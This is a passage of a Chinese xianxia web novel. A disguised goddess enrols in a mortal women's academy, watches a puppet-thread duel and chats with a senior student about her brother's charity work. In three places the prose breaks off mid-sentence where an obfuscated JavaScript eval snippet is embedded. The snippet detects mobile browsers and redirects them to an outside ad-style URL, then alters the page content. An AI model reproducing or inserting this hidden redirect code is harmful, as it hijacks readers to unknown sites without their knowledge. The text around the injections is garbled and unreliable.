数不清的曲尺飞廊如一道道彩虹在空中架起,望不尽的亭台楼阁似一幅幅丹青于江山晕染。 流云掠过高高的屋檐,舒展着各种各样的形状,描摹出风的模样。清风吹过宫铃,声音清脆婉转,伴随着院中学子的欢声笑语,听来十分热闹。 眼前的这座学宫建造得可谓宏伟,简直称得上巧夺天工,帝媱觉得即便与九重天宫相较也不遑多让。 唯一的区别便是,这里比九重天宫明媚鲜活多了。 “这座学宫真是凡人修建的?”帝媱语气中难掩惊讶:“凡人竟有这样的能力,可以建造出如此壮观的学宫。” “可不要小瞧了凡人,更不能小瞧了凡间的女子,有时候她们的智慧甚至可能在我们这些仙神之上。”帝宣注视着眼前似是从画中走出来的建筑,眼中满是欣赏:“这座学宫最初的图纸乃院中师生共同完成,她们所聘请的建造学宫之人也皆是女子。” 帝媱张了张嘴:“也就是说这座学宫完完全全是由女子创造的?” 帝宣点了点头:“是的。也许是因为凡间女子所面临的生活更有挑战,她们的生存环境更为艰难,所以她们能够迸发出更加强大的创造力。” 他眯了眯眼,认真地欣赏着这座他看了五年仍未看得厌倦的建筑:“美轮美奂,堪称瑰宝。” 帝媱则歪着脑袋认真地思考着帝宣方才说的那些话。 在此之前她从来没有听到过这样的话,包括入凡前帝宣在九重天宫同她说的那些,无一不令她感到震惊。 过了好一会儿她才有些迟疑地问:“你方才说的那些,都是谁告诉你的?为何九重天上从未有人同我们说过这些呢?” 帝宣抬手指向学宫:“学宫中有一位院长即将功德圆满飞升成仙,父亲将为她考察功绩并登记造册之事交给了我,因此我曾在此地待了五年。” “这五年间我闲极无聊时会放一抹神识在学宫之中,由此了解到这座学宫是如何教学及运作,也是因此才感受到凡间女子在这世间的不易。” “当然了,我方才同你说的那些,也都是从学宫师生口中了解到的。”说到这里帝宣笑了笑:“说起来我也算是她们的半个弟子了。” 帝媱叹息一声:“可惜她们不收男弟子,否则你岂不是可以和我一起入学?” 帝宣摇了摇头,正色道:“不收男子自然有她们的考量,我在考察那位院长生平功绩时曾见过她的一段记忆,那是她刚成为院长时在学宫创始人画像前立誓的回忆。” “就我所知,最初创立学宫的是两位不通法术没有修为的凡人女子,学宫不收男弟子便是她们立下的规矩。虽不知她们的顾虑到底是什么,但是历代学宫传人都继承了她们的遗志。” “这是一片专为女子开辟的天地。” 128. 芙蓉浦 “专为女子开辟的天地……”帝媱莫名觉得动容,她的语气也从犹疑变得坚定:“我一定要进入学宫,看看这片天地是什么模样。” “去吧,我已经为你编好了一个凡间的身份。”帝宣笑了笑,将她送至门口:“当初在这里考核学宫院长时,我曾在此处凡域开了间医馆,有时外出行走用的便是医馆大夫的身份。” 说着她将帝媱领到登记报名处,还未开口,便有一名弟子认出了他来,热情地同他打招呼:“烛大夫,好久没见到您了,我们还以为您去别处云游行医了呢!” 烛大夫? 帝媱闻言转首望向帝宣,见他面不改色地道:“我的确是要去别处云游了,出发前带小妹来学宫试一试,看她是否有缘入学。”说着他俯身在记名表上写下为帝媱编好的名字:“这是小妹烛媱,接下来一段时间便拜托各位师姐多多关照了。” 那为首的弟子打量了帝媱好几眼:“烛大夫的妹妹生得可真好看,放心吧,学宫的师姐师妹都会照顾她的。” 她催动灵力,在一枚空白的玉制令牌上刻下烛媱二字,然后将它递给帝媱:“既是烛大夫的小妹,那便也是我们的妹妹。这块玉牌你且收好,以后它便是你出入学宫的身份证明了。” 帝媱双手接过令牌,轻轻摩梭着它:“多谢师姐,那、那我……” 那弟子笑了笑,继续道:“最近三个月都是新生记名及观摩学宫的时间,每一位报名的新生都有分批次进入学宫观摩的机会。”她低头看了看手边的记名表:“唔……媱妹进学宫观摩是在一周后,一周后你持此令牌来学宫大门即可,会有师姐领你们进入学宫的。” 帝宣冲她点了点头:“那就有劳了,一周后我再送小妹过来。” 帝媱紧紧攥住令牌,跟在帝宣身边往他在凡间开的那家医馆走去。她一边好奇地东张西望,一边打趣帝宣:“好一个烛大夫,可真是撒谎不打草稿呀。” 帝宣刮了刮她的鼻子:“记住了,以后你在凡间的身份便是我这个江湖游医的小妹,还记得自己叫什么名字吗?” 帝媱吐了吐舌头:“当然记得,我姓烛,叫烛媱。” 焕鸢夫人母家便出自烛龙旁支,烛乃母亲之姓,她自然是不会忘的。 “对了,方才那位师姐为什么对你这么热情呀?”她扯了扯帝宣的衣袖:“你是不是在这里做了很多好事,她们才对你这么客气的?连我也沾了不少光呢。” 帝宣摇了摇头:“我在此处开了五年的医馆,对外只称我是江湖游医,云游至此暂时落脚而已。想来因我救治病人只收少许银两,且经常参加学宫的志愿活动,免费为人治疗,所以她们才对我这般热情。但是……” 他无奈地笑了笑:“我本就是仙人,不必如凡人一般为生计发愁,救死扶伤也不过是闲极无聊找一些事情做而已,皆是举手之劳,我从不觉得自己做了什么天大的好事。” 帝媱停下脚步,认真地对帝宣道:“我一直都觉得你对自己的要求太严苛了,父亲让你下凡,本就只让你考核即将位列仙班的那个凡人而已,你只需要完成这件事就好。不管是救死扶伤还是参加学宫的志愿活动,根本就不在你要完成的任务之列,其实做了对你也没有什么实质的好处。” “但你还是去做了,对于这些凡人而言,你就是做了天大的好事。” 帝宣温柔一笑,一本正经地道:“烛小姐,在下受教了。” 他牵起帝媱的手:“作为答谢,今晚我请你去集市吃烤串。” 帝媱连忙跟上他:“烤串是什么?把东西串在一起烤么?” “你去看了就知道了。” “好吃吗好吃吗?” “去尝尝就知道了。” “那还有什么别的好吃的,我都可以尝尝吗?” …… 帝媱跟着帝宣在凡间疯玩了七天,去酒楼听了说书,还去看了心心念念的皮影戏,每天晚上她都会去集市里溜达一圈,看到什么都想尝一口。 时间转瞬即逝,很快便到了入学宫观摩的日子。 帝宣在送帝媱去学宫前,替她封印了部分神力,还在她身上放了一抹神识:“我还要回九重天处理公务,且若你我二人都不在府中,很容易引起母亲怀疑,你独自一个在凡间,一定要万事小心。” “记住了,在凡人面前切不可使用神力,我放在你身上的这抹神识也不许抹去,若遇到危险及时唤我。” 帝媱听着帝宣喋喋不休的嘱咐,连连点头:“知道了知道了,你就放心吧。” 这一周的时间足够她熟悉凡人的生活方式,即将进入学宫观摩的兴奋早已冲淡了独自一人留在凡间的忐忑。 将帝媱送到学宫大门后,帝宣便回到了九重天宫。放在帝媱身上的那抹神识是方便他时刻关注帝媱动向的,此刻青鸾也在幻境中通过帝宣留下的那抹神识观察着帝媱进入学宫之后的生活。 她也对那个只收女子的其野学宫充满了好奇。 接引这一批次记名新生进入学宫观摩的正是一周前给帝媱令牌的那名弟子。 她见到人群中的帝媱后微微一笑,接着对众人道:“我名唤青姬,是接引你们的学宫弟子。现在请诸位出示报名登记时领到的令牌,待我们检阅过后方可进入学宫。” 众人将令牌取出,老老实实等待检验,与此同时青姬继续讲解:“你们有三日时间进行观摩,三日之后便要做出选择,若有机会进入学宫,最想修习的课程是什么。” “届时成功通过考核的人,你们手中的令牌便会出现心火印记,这便是你们成为学宫正式弟子的标志。” “至于没有通过考核的人,手中的令牌便会作废,变成一枚普通的玉牌,无法再出入学宫。玉牌我们不会回收,你们可带回家中留作纪念。” “啧,这也太大方了。”帝媱低头打量了一番手中精致的令牌,吐了吐舌头小声道:“真是财大气粗。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15112007|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这时有人发问:“倘若没有通过考核可怎么办呢?以后还有机会吗?” 青姬温声安抚:“倘若没有通过考核也不必灰心,学宫每五年招纳一次新生,五年之后还有机会的。” 青姬此言显然缓解了那人的焦虑,她紧蹙的眉头舒展开来。 幻境中的青鸾却是皱起了眉。 方才青姬提到,通过考核的人令牌会出现心火印记,那是学宫正式弟子的标志。 如此看来其野学宫与心火有着很深的渊源,只是不知那渊源自何而来。 心火对于青鸾而言一直是一股神秘的力量,它仿佛是突然之间觉醒的,她其实和陌离一样并不知晓心火觉醒的条件是什么,也不知道这股力量的根源在何处,极限又在哪里。 听到正式弟子令牌上都会有心火印记时,她不由对这座学宫更感兴趣了。再次望向幻境中的画面,关注的重点便都放在了学宫本身上。 待所有记名新生的令牌都检阅无误后,青姬领着她们往学宫内部走去。 首先映入众人眼帘的是一条琉璃长廊,通过这片晶莹剔透的长廊,她们可以仔仔细细观察学宫内的环境。 从踏入长廊开始,惊艳欢呼之声便不绝于耳。 便连自九重天宫而来算是见多识广的帝媱也看呆了眼。 眼前的建筑已经不足以用巧夺天工这四个字来形容了。 青姬行走在众人身侧,一边引导着她们往学宫深处走,一边介绍着学宫的构造:“其野学宫中的师生主要分为两派,一派为红尘道,一派为问天道,此两派各自占据了学宫一半领域。因此从高空俯瞰便会发现,学宫整体形状其实是一个太极图形。” “位于太极图正中央的建筑,也就是处于红尘及问天两道领域之间的那座,便是祭奠着两位祖师画像的地方。” “同时学宫大小考试的场地也在那里,诸位正巧赶上学宫一月一次的比试,接下来我要带各位去的地方便是月试考场。” 脚下的琉璃长廊仿佛没有尽头,但周边的场景却在不断发生着变化,她们似乎根本就没有走多远,又好像已经穿过了许多的地方。 “这里是设了什么机关吗?”有人好奇提问:“为什么感觉我们没有走多久,但周遭的环境变化特别的大?” 青姬点了点头,赞赏地望了那人一眼:“学宫在建造伊始便融入了奇门遁甲、五行八卦甚至各类法阵之术,待你们成为学宫正式弟子,对这里的建筑足够了解,并且能够精通法阵等术,便可以做到在学宫里瞬行千里了。” 青姬此言又引得众人一阵惊呼。 很快她们便到了方才提到的比试之地。 “每月、每季以及每年的比试乃学宫传统,为的是警醒各位弟子修习时切勿懈怠,与此同时奖励那些刻苦修炼之人。每次比试的奖励都很丰厚,尤其年底比试第一名,还有机会亲自去参拜祖师画像哦。” 青姬眨了眨眼,将众人带至一座高台前。 129. 芙蓉浦 “学宫的安排是让你们今天上午观摩一场月试比赛。”青姬抬手往台上一指,承认了自己的一点小私心:“红尘道与问天道的比试是分开进行的,此刻我带你们来的是问天道的比试场地,上面正在进行比试的二人分别修的是傀儡术和剑术,那使傀儡术的师妹正是我的嫡系师妹。” 她引导众人在看台入座:“傀儡术和剑术若是同台竞技,比试时往往十分精彩,你们往后看就知道了。” 事实证明青姬所言非虚,高台上对峙的两人甫一出手便艳惊四座。 青姬的嫡系师妹白衣胜雪立于高台,颇有些仙气飘飘之感,而站在她对面的那名剑修师妹则是红衣猎猎,裙摆如烈火在风中张扬。 无形的丝线在白衣师妹指间游曳,冰冷剑气拂面而来的一瞬间,她指尖丝线暴涨,一些丝线如游鱼般缠绕住了向她刺来的长剑,另一些则如毒蛇嘶嘶作响,朝对面的红衣女子袭去。 她的对手显然也不是吃素的,当即旋身避开丝线的攻击,同时手臂一沉挽了个漂亮的剑花儿,堪堪摆脱了那些如影随形缠绕向剑身的丝线。 在白衣师妹身侧飞舞的丝线犹如缕缕蛛丝,偶尔在明媚的阳光下映照出星星点点的光。 不过那些丝线明显比蛛丝坚硬得多,并且极有韧性,它们在师妹手中仿佛通了灵性,总能从出其不意的角度向对手发出攻击,即便面对凌厉的剑法也丝毫不惧。 帝媱以前从不曾见过傀儡术,对那些被当作武器使用的丝线很感兴趣,于是歪着脑袋问坐在她旁边的青姬:“青姬师姐,那些丝线是用什么制成的呀,竟然用剑也斩不断。” 青姬同样将脑袋歪向帝媱,仔仔细细地为她解答,目光却是始终不移地落在她的师妹身上:“我们师门有一个传统,每一届师姐都会亲自炼制神蚕丝做法器,赠送给下一届的小师妹。师妹们初学傀儡术,还做不到凭借自身灵力凝结出控制傀儡的丝线,的确是需要外物辅助的。” “但是跟随师父修习一年后,她们便要开始学着以自身灵力为媒,炼化出真正属于她们自己的傀儡丝了。” 帝媱了然地点了点头:“所以那些被当作武器的丝线是她凭借自己的灵力化成的?” 青姬语气里有掩不住的自豪:“以灵力炼化傀儡丝的好处是战斗时手中的丝线可以无限幻化,并且丝线的韧性与灵力深厚与否有着直接的关联,倘若灵力足够深厚,别说是普通长剑了,便是天下闻名的神兵利器也无法将它们斩断。” “当然了,若是灵力不够深厚,傀儡丝便会真的如蛛丝那般脆弱,风吹就散。并且若是灵力耗尽,傀儡丝的力量也会无以为继。” 帝媱恍然大悟:“所以你师妹进攻如此凌厉,是想要速战速决?她用灵力幻化丝线,那么灵力消耗的速度一定比对方更快,时间拖得久了战局于她不利。” 青姬不住地点头,眼中尽是对自家师妹的欣赏:“我这小师妹修行最是刻苦,在同届弟子中属她灵力最为深厚,进步最快。你看她的傀儡丝多坚韧,那柄普通长剑无论如何也斩不断它的,除非用剑之人灵力远在她之上。” 帝媱又好奇道:“那为何她只以傀儡丝对敌呢?傀儡之术难道不是操控傀儡的术法吗?” 青姬扬唇一笑:“初阶傀儡术只需要修炼对傀儡丝的掌控力就好,度过初级阶段后的确是要开始修习如何操控傀儡御敌的。不过嘛……她的对手招式虽然华丽,却是华而不实,想必师妹心中有数,对付她不需要释放傀儡,只用傀儡丝便可。” 青姬赞不绝口的小师妹果然也没有让她们失望,但见她在台上身形一闪,飘逸地躲过了对面令人眼花缭乱的剑法攻击,抓住了对方一瞬怔神之机,回身出掌,再次幻化出万千丝线。 丝线在阳光下尤胜粼粼波光,旋转着缠住了剑身,随后她将掌一收,攥紧丝线,众人只见台上白光一闪,长剑就这样被丝线绞成了碎片。 手中长剑破碎,那使剑的师妹瞬间脱了力,摇摇晃晃地向后倒去,空中原本锋利无比的丝线在此刻变得柔软,轻轻托住了她的后背。 与此同时她的同门师姐们也跃上台来,一把扶住了她。 为首的师姐先是仔仔细细地观察她有没有哪里受了伤,见她毫发无损后这才恨铁不成钢地戳了戳她的脑袋:“平日修炼的时候我就告诉你了,把你那些花架子都收一收,真要上了擂台,你那花拳绣腿的立马就被人打下去了。” 她似乎是越说越气,当场开始替师妹复盘:“你看你一开始挽的那个剑花儿,漂亮是漂亮,但它除了漂亮之外一无是处呀,反倒还消耗你的灵力。后面使的那一套剑法,那本是咱们师父专门研究出来一对一克敌的,你倒好,你这个妮子偷偷把它改动一番,舞得倒是让人眼花缭乱的,能打着人不?” 那师妹输了比试原本就很委屈,现在又被平时最宠溺她的大师姐一顿教训,心中更是委屈,站在台上便哭出了声来。 那师姐见她把人训哭了,声音瞬间压低了好几分:“你还好意思哭,这也就是师父没来观赛,她老人家要是到现场来看到你使那些花架子剑法,定是要罚你扎好几个时辰马步不许起来的。” 师妹一听顿时哭得更大声了。 于是她的师姐们无奈地从教训变为了安慰。 “好了好了,师父这不是没来吗,再说了,她老人家哪里舍得罚你,大师姐那是在吓唬你呢。” “比赛输了就输了,你自己记得这个教训就好。” “小师妹是咱们师门最有天赋的,换做别人哪有本事改动师父的剑法呀。只是师妹你今日便知道了,若要改良剑法,可不能往华而不实的方向改。” “这次剑被人家绞碎,也不全是师妹的错,那剑的品质本就一般,师姐这就给你寻一柄神器去。” …… 几个人就这样你一言我一语地哄好了她们的小师妹,拉起她的手说带她去学宫外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116956|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面吃一顿好的,要好好安慰安慰她。师妹这才破涕为笑,将方才的狼狈抛在脑后,跟着师姐们乐呵呵地离开了高台。 与此同时青姬也走上台去,抬起手拍了拍师妹的肩膀,眼中满是鼓励。 她的师妹则是一脸的惊喜:“师姐!你怎么来了?你今日不是要接引记名新生吗?” “我原就答应了你,今日要来现场为你加油鼓劲的。”青姬笑着道:“没想到今日的比试同接引记名新生的日子撞期了,原本我也以为要错过这场比赛了,不过好在学宫给这批次记名新生安排的第一场活动便是到现场来观摩月试,幸好没有错过你的比赛,不然我的师妹打得如此精彩,我没看见岂不是太遗憾了。” 师妹听见青姬将记名新生们都引到了现场来观摩她的比赛,原本还很害羞,可是在望向台上正叽叽喳喳讨论着方才那场比试的新生后,她瞬间高兴起来,兴奋地拍了拍手:“太好了太好了,终于要有新生了,我终于不是辈分最小的师妹了!” 她扯了扯青姬的衣袖:“师姐师姐,我也要当师姐啦!” 青姬点了点她的额头,提醒她:“师姐可是要给师妹们准备亲手炼制的法器的,你的法器炼好了吗?神蚕捉到了吗?” 师妹被青姬这么一提醒,抬手一拍脑袋:“师姐你不说我都差点忘了!” “神蚕我早就已经准备好了,既然要为师妹炼制法器,那就要炼最好的!我前些日子可是捉了一只十分肥美的神蚕来着,它吐出的丝又好看又坚韧。”说着说着师妹脸上浮现出担忧的表情:“哎呀,可是这段时间我要准备月试,就把神蚕交给了小师姐养着。小师姐向来是不靠谱的,也不知道我的肥美神蚕还活着不。” 小师妹越说越是担心,当即同青姬告别,火急火燎地往学院的培育室赶去。 青姬宠溺地注视了一会儿师妹离去的背影,然后转身朝看台上的新生们飞来。 “已是正午了,我现在带诸位师妹去学宫食堂就餐。”青姬打断了大家的讨论,带着她们离开比试场地,往食堂而去。 记名新生们方才还沉浸在那场精彩的比赛中,此刻听到要去食堂,注意力瞬间又转移到了学宫伙食上。 “早就听说其野学宫伙食很好了,在这里还能吃到很多外面吃不到的美食呢。” “这么大的学宫,一个食堂恐怕是不够的吧?” 青姬行走在众人之侧,含笑听着她们的讨论,适时地解答着她们的疑问:“修习红尘道的弟子比问天道多得多,因此食堂的数量也比我们的多一倍。学宫一共有十二个总食堂,分布在东南西北四个方向,这十二个食堂日夜都有食物供应。除此之外每个学院还有自己单独的食堂,根据学院师生人数设立一个到四五个不等。” 说着,她带众人来到了一座高大的建筑前:“这便是学宫十二个总食堂之一,师妹们都是第一次来到学宫,我给大家挑了一个在学宫中评价最好的食堂。” 130. 芙蓉浦 “凭借手中的令牌可以免费就餐,现在你们可以自由行动,一个时辰后在这里集合,我带你们去参加下午的记名新生讲解会。” 从食堂里飘出来的香气早已令众人垂涎欲滴,在听完青姬的最后一句嘱咐后,她们立刻散开蜂拥而入。 帝媱随众人一起进入食堂。 她在此之前从不曾进过什么学院,更没有听说过食堂这种地方,这还是她第一次在食堂就餐,自然是新奇无比。 在大家早已涌到不同的窗口之时,她还好奇地在原地打转。 这座食堂共有十二层楼,每层楼供应的食物似乎来自不同的地方。 譬如一楼便是当地的特色食物,二楼则是大漠风光,从二楼廊间不断飘出来各式烤肉香气,三楼的食物便更具特色了,大家都在用锅子煮着各色食材,香味更加浓烈,却也有些呛鼻,不知道这是什么地方的特色美食。 帝媱在原地打量了半天,最后还是保守地来到一楼窗口排队,打算挑选一些同帝宣一起吃过的食物。 别的东西以后还有机会慢慢品尝,这是在学宫吃的第一餐,她放弃了猎奇的想法。 然而待她排到窗前,却发现窗口的许多食物她都不认识,窗前悬挂着一些木牌,上面书写着本窗口的食物名称,她却无法将名称同摆在面前的食物对上号。 就在她打算随便选一些菜式时,一位师姐似乎看出了她的迷茫和窘迫,主动上前同她搭话,询问了她的口味后便为她推荐了一些菜色。 帝媱感激地道了声谢,取好菜拿出令牌时,又闻那师姐道:“我方才看你便像是记名新生,这是你第一次来学宫吧?” 帝媱乖巧点头。 师姐冲她笑了笑,扬了扬下巴:“那我带你去用餐区吧,跟我来。” “啊,多谢师姐!”帝媱连忙跟上。 将帝媱领到用餐区后,那位师姐很自然地在她对面坐下:“食堂每一层楼都有这样一排窗口,这些窗口的菜是上午就做好的,报了菜名直接就能吃。安排这样的窗口是方便那些下午有事赶时间的弟子,你的时间比较充裕,接下来两天可以尝一尝现做的菜式,味道比窗口的更好些。” 帝媱懵懂地点了点头:“我知道了,谢谢师姐。” 师姐又是一笑,语气温和:“我第一次进入学宫时也是像你这样,什么都不知道,还好遇见了很多热心的师姐。那时候我就在想,以后我也要像她们一样照顾师妹,今天可算是让我抓到机会了。” 这番话不由令帝媱想起青姬的小师妹,上午比试完之后她好像也说过类似的话。 帝媱不禁笑了笑,放松下来后,她的话也多了起来:“对了师姐,我叫烛媱,还不知道师姐你叫什么名字呢?” “我叫沈明月。”沈明月咬了咬筷子,盯着帝媱的脸瞧了一会儿:“你姓烛?这个姓氏还挺少见的。” 犹豫了一下,她问帝媱:“冒昧地问一句,你同城东医馆的烛大夫是什么关系呀?” “烛大夫吗?”帝媱没想到帝宣在学宫竟然如此出名,好像随便一个师姐都识得他,这倒令她有些不好意思了:“我……我是他的妹妹。” 听到帝媱说她是帝宣的妹妹,沈明月的眼睛瞬间亮了起来,她重复了一遍:“你是烛大夫的妹妹?” 随后她惊喜地道:“之前我参加学宫的志愿活动,曾和烛大夫一起医治过贫民,真没想到他还有一个这么好看的妹妹。” “哥哥他是游医,早已离乡多年,之前并不住在这里,我也是为了参加本届的招生大会才来到此处的。”帝媱显然是跟着帝宣学会了撒谎不打草稿的本领,面不改色地道:“我们此前也没有通过信,还是来到学宫之后我才知道,哥哥他在这里救治过那么多的人。” 她其实也对帝宣五年间的凡域生活很感兴趣,于是旁敲侧击地向沈明月打听着他的经历。 却听沈明月激动地道:“烛大夫刚来此地时引起过不少的讨论呢,便是因为凡间少有像他那般俊朗的男子,更重要的是他饱读诗书,胸襟宽广,并没有男女成见,单是这一点便十分罕见了。” “那时候我们还猜测过,他一定是出自书香世家,且看他谈吐气度,只怕家中还有修仙得道之人,唯有如此才能熏陶出他不凡的气质。” 帝媱听得太阳穴一跳又一跳。 但闻沈明月继续道:“身为男子,能够体谅女子的辛苦便已经殊为不易了,没想到他还心怀大爱,除定期参加学宫的志愿活动外,他的医馆每月还会固定一日免费为出不起药资的人开方,五年来从不间断。并且无论多么名贵的药材,只要他那里有,皆可赊账。” “其实大家都清楚,若真是名贵药材被贫苦人家赊走了,那他们便是倾家荡产也还不了账的,烛大夫此举与赠药无异了。” “我曾经去过他的医馆取药,见到过他的赊账本,知道他是实实在在做好事,并不是在拿此事做噱头。那时候我还问过他,将那些名贵药材就这样四散给贫民,他不会心疼吗?你猜他是怎么回答的?” 帝媱摇了摇头,她还真挺好奇帝宣是如何回答的。 “用烛大夫的话来说,再名贵的药材都比不上拥有灵魂的生命,哪怕这个生命只是被踩在泥土里被旁人称作贱民的贫苦百姓。” 沈明月复述帝宣的这番话时眼中满是仰慕,帝媱的眼里却浮现起茫然。 她总觉得好像在哪里听过类似的话,那时她还觉得此话有些惊世骇俗。 “其实烛大夫有这样好的医术,他完全可以去权贵人家做医师,或是将医馆做大,但是他都没有。能够数年如一日地坚持一件事,实在是很了不起的。” 沈明月已经快要把帝宣夸上天了,帝媱听得又是自豪又有点恍惚。 就在她晕晕乎乎之际,却听沈明月话锋一转:“你兄长这般优秀,娶亲了没有?可有家室?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122305|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >帝媱扑哧一声,猝不及防被水呛了一口,头都来不及抬就冲沈明月连连摆手:“没有没有没有,他绝对没有……” 缓过来后她好奇地问:“那个……我以为学宫中的女子都对男女之事不感兴趣,一心专注修炼来着?” 沈明月的回答倒也大大方方:“对心仪的男子生出仰慕之意,这也是人之常情,我们倒也不会因为专注修炼就断情绝爱。不过学宫中的女子的确是很难找到伴侣的,因为一旦眼界开阔之后便会发现,世间绝大多数男子都是心胸狭隘自私自利之辈,如烛大夫一般的男子的确是打着灯笼也找不到的。” 听见别人对自己的兄长不吝夸赞,帝媱倒也觉得十分受用,她赞同地点了点头。 便在这时她忽然想起自己曾在帝宣书房看见过一幅尚未作完的画。 帝宣将那幅画藏得很好,她是在他的书房中翻找一册古籍时无意发现的。 要知道帝宣同她从来不曾有过秘密,他平日里作画也从不会像这样藏着掖着,好像生怕被人发现。 帝媱原本打算直接将画放回原处,可帝宣越是如此隐藏,她便越是好奇,于是悄悄打开瞧了一眼。 那幅画显然耗费了帝宣不少心血,一笔一画都是如此用心,他不知用了多长的时间才慢慢勾勒出画中的身影。 虽然帝宣还未来得及描摹出画中女子的眉眼,但那女子红衣灼灼似火,气度高华如神女降世,帝媱一瞧便知是谁。 毕竟九重天宫根本没有这样明媚的红色,她也不曾在九重天上见到过这样张扬的生命力。 她原本想挑个时间好好问一问帝宣,可是没过多久便发生了瑶池之事,她为了救帝骁莽撞出手,在鬼门关走了一遭,醒来之后便将这件事抛在脑后了。 今天听沈明月如此问,倒令她忆起此事来。 咬了咬唇,她还是决定将这件事情告知对方:“虽然我哥哥尚未娶亲,但据我所知,他似乎已经有心仪的女子了。” 沈明月闻言啊了一声,眼中的希望如潮水般退去,脸上的表情也变得复杂。 帝媱见状着急道:“沈师姐,我告诉你这个是不想让你在我哥身上浪费时间。他从小就倔得像头牛,一旦想做一件事情就会坚持到底。我想他若是喜欢一个女子应当也是如此,不论有没有结果都会坚持很久很久。师姐你生得这么好看,又这么善良,不该在我哥这棵歪脖子树上吊死……” 沈明月被帝媱逗乐了:“我明白你的意思,放心吧,我还不至于这么想不开。” 说着她叹了口气:“也不知道能让烛大夫心仪的女子是一个什么样的人,想必也是一个超凡脱俗的奇女子吧?” 帝媱认真地想了想,然后笃定地点了点头:“我哥曾经说过再名贵的药材都比不上拥有灵魂的生命,其实这番话便是他从那个女子口中听来的。” 沈明月张了张嘴,随后笑了笑:“这样啊……那我便不奇怪了。” 131. 芙蓉浦 唏嘘片刻后沈明月温柔地对帝媱道:“也罢,既然你是烛大夫的妹妹,以后便也就是我的妹妹。若是我们有缘成为师姐妹,今后你在学宫中有任何问题都可以来找我。” 她冲帝媱眨了眨眼:“虽然我同烛大夫没有什么缘分,但是我们两个还是很有缘的嘛。” 帝媱轻轻嗯了一声:“多谢明月师姐。” 方才听青姬师姐所言,按照学宫的安排,她们下午要参加记名新生讲解会,帝媱猜测届时会有人同她们详细讲解学宫的课程,譬如红尘道与问天道究竟有什么区别。 这样庞大的一座学宫,到底设立了多少门课程,学宫中的弟子可以修炼到什么程度,她实在是太好奇了。 既然眼前就有这样一位热情的师姐,她决定直接先找她问一问:“师姐,你所修习的课程是什么呀?” “我主修炼器术。”沈明月道:“我从小就对炼器感兴趣,但是所有人都说炼器一术唯有灵力高强者才可修炼。我无仙缘,也无灵根,原本也以为无缘炼器之术了,却没想到在这学宫中毫无灵力的凡人也可学习炼器。” 帝媱吸了口气:“毫无灵力的凡人也可炼器?” 这可真是闻所未闻。 沈明月取出一个小物件,看起来像是一个储物袋,其材料却是冰冷坚硬,泛着金属的光泽:“你看,这就是我前段时间新炼的储物袋,遇火不化,遇水不容,刀斧皆劈不断。” 帝媱好奇地接过它,原本以为它握在手里的触感会是硬邦邦的,却没想到实际上轻盈而又柔软:“没有用任何的灵力,能够锻造出这样的物件,可真是厉害。” 沈明月不好意思地笑了笑:“我这算什么呀,我的同门师姐比我厉害多了,我这东西不过是小巧而已。你若是喜欢,我就送给你,便当作是给师妹的见面礼了。” “多谢师姐!”帝媱倒也没有同她客气,欣喜地把玩着手中的储物袋:“明月师姐,这东西是怎么锻造出来的呀?” “锻造它的材料特殊,我一时半会儿也说不清楚。”谈及自己喜爱的事物,沈明月脸上神采奕奕:“要想激发出那材料的特性,需要掌握炼器时的火候、力度、时长,甚至还有当天的气候温度,总之这里面的学问可大了。你若是感兴趣,今后有机会我慢慢同你讲。” 帝媱点点头,忍不住再一次感叹:“我原本也以为唯有灵力高强者才能炼器,真没想到毫无灵力的凡人在这学宫之中也能习得炼器之术。” “其实这样一个小玩意儿,若是问天道的师姐妹们来制,只消片刻就好。”沈明月托着腮道:“但我们红尘道的弟子要下的功夫便多得多了,不过这也没有关系,终究是能够制成的,无非是多耗费一些心血罢了,我觉得还是很值得的。” 帝媱抬头继续问她:“师姐,说起这个,学宫中分为两派的红尘道和问天道究竟有什么区别呢?” 沈明月耐心地同她解释:“记名新生通过考核后便成为了学宫的正式弟子,进入学宫的第一年这些新弟子会集中在一起学习基础课程,与此同时可以选择旁听一些别的课程。” “在这个过程中部分弟子会逐渐觉醒灵力,当然也会有一部分弟子在进入学宫之前便已有灵力。一年后各位院长会测试所有新生灵力觉醒程度,有仙缘有灵根者则可以进入问天道修炼,像我这样没有觉醒灵力的凡人,便会被分到红尘道去。” 帝媱恍然大悟。 原来所谓问天道与红尘道,简单来说便是仙凡之别。 她注意到沈明月的措辞:“你方才说有仙缘有灵根者可以进入问天道修炼?意思是她们不会被强制分配到问天道,而是可以自己选择,即便觉醒了灵力,她们依然可以选择进入红尘道修习?” 沈明月嗯了一声,赞许地点了点头:“你很聪明呢。可不要小瞧了凡人的智慧哦,红尘道中也有一些课程颇为精妙,因此有部分灵力觉醒者选择同时主修两门课程,一脚踏入问天道,一脚踩入红尘道。” 